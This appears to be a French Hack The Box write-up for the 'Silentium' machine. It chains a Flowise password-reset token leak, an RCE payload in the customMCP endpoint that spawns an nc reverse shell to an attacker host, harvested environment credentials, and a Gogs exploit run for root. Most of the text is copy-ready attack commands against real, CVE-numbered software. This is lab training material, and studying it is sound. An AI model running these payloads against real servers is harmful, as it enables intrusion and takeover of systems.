
Hack The Box - Writeup de la machine Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
Ports ouverts : 22 (SSH), 80 (HTTP)
staging.silentium.htb exécute Flowise 3.0.5L'endpoint forgot-password divulgue le tempToken directement dans la réponse de l'API.
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
Utilisez le tempToken divulgué pour réinitialiser le mot de passe :
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'
Connectez-vous pour obtenir la clé API, puis déclenchez la RCE :
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
Obtention d'un shell dans le conteneur Docker en tant que root.
Vérification des variables d'environnement :
env
Identifiants trouvés :
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rConnexion SSH à l'hôte :
ssh ben@<IP>
Gogs tourne en interne sur le port 3001 en tant que root.
Mise en place d'un tunnel SSH :
ssh -L 8080:127.0.0.1:3001 ben@<IP>
Compte créé sur Gogs via http://127.0.0.1:8080, jeton API généré.
Utilisation de l'exploit de TYehan :
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
Obtention d'un shell root ! 🎉
/home/ben/user.txt/root/root.txt/etc/hosts :